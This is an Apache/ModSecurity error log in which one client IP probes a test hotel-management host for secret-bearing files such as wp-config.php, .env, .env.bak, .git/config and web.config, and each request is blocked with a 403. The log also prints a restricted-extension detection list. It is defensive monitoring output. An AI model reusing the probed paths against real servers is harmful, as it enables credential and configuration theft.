[Sat Nov 01 04:21:19.391164 2025] [:error] [pid 3921580] [client 130.131.162.253:32858] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQV8r90lSZ32i2w189kTPQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat Nov 01 04:21:19.853254 2025] [:error] [pid 3920971] [client 130.131.162.253:32844] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQV8r74dCcojC-7kHTMDtwAAAAw&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat Nov 01 04:21:19.853546 2025] [:error] [pid 3920971] [client 130.131.162.253:32844] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQV8r74dCcojC-7kHTMDtwAAAAw&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat Nov 01 04:21:19.853721 2025] [:error] [pid 3920971] [client 130.131.162.253:32844] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQV8r74dCcojC-7kHTMDtwAAAAw&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat Nov 01 04:21:19.857896 2025] [:error] [pid 3921580] [client 130.131.162.253:32858] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQV8r90lSZ32i2w189kTQQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat Nov 01 04:21:19.858126 2025] [:error] [pid 3921580] [client 130.131.162.253:32858] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQV8r90lSZ32i2w189kTQQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat Nov 01 04:21:19.858274 2025] [:error] [pid 3921580] [client 130.131.162.253:32858] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQV8r90lSZ32i2w189kTQQAAAAE&quot;], referer: http://pms.test.indacotrentino.com/.env
[Sat Nov 01 04:21:19.973555 2025] [:error] [pid 3921581] [client 130.131.162.253:32874] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQV8r48E9GZqRP38TFWiJAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat Nov 01 04:21:19.973904 2025] [:error] [pid 3921581] [client 130.131.162.253:32874] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQV8r48E9GZqRP38TFWiJAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat Nov 01 04:21:19.974088 2025] [:error] [pid 3921581] [client 130.131.162.253:32874] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQV8r48E9GZqRP38TFWiJAAAAAM&quot;], referer: http://pms.test.indacotrentino.com/wp-config.php
[Sat Nov 01 04:21:20.094846 2025] [:error] [pid 3921582] [client 130.131.162.253:32814] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQV8sB9l7NL2QvnI7bOj1QAAAAs&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat Nov 01 04:21:20.095066 2025] [:error] [pid 3921582] [client 130.131.162.253:32814] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQV8sB9l7NL2QvnI7bOj1QAAAAs&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat Nov 01 04:21:20.095211 2025] [:error] [pid 3921582] [client 130.131.162.253:32814] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQV8sB9l7NL2QvnI7bOj1QAAAAs&quot;], referer: http://pms.test.indacotrentino.com/.git/config
[Sat Nov 01 05:06:38.804173 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aQWHToKXGH1fLUOqf07qHgAAAAA&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat Nov 01 05:06:38.804563 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aQWHToKXGH1fLUOqf07qHgAAAAA&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat Nov 01 05:06:38.804748 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aQWHToKXGH1fLUOqf07qHgAAAAA&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat Nov 01 05:06:39.302270 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.302505 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.302672 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewaQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat Nov 01 05:06:39.302795 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.302958 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.302960 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewaQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat Nov 01 05:06:39.303123 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewaQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat Nov 01 05:06:39.427978 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewagAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.428162 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewagAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.428379 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewagAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.428544 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewagAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.549098 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qIwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat Nov 01 05:06:39.549338 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qIwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
[Sat Nov 01 05:06:39.549526 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitconfig&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qIwAAAAA&quot;], referer: http://pms.test.indacotrentino.com/.gitconfig
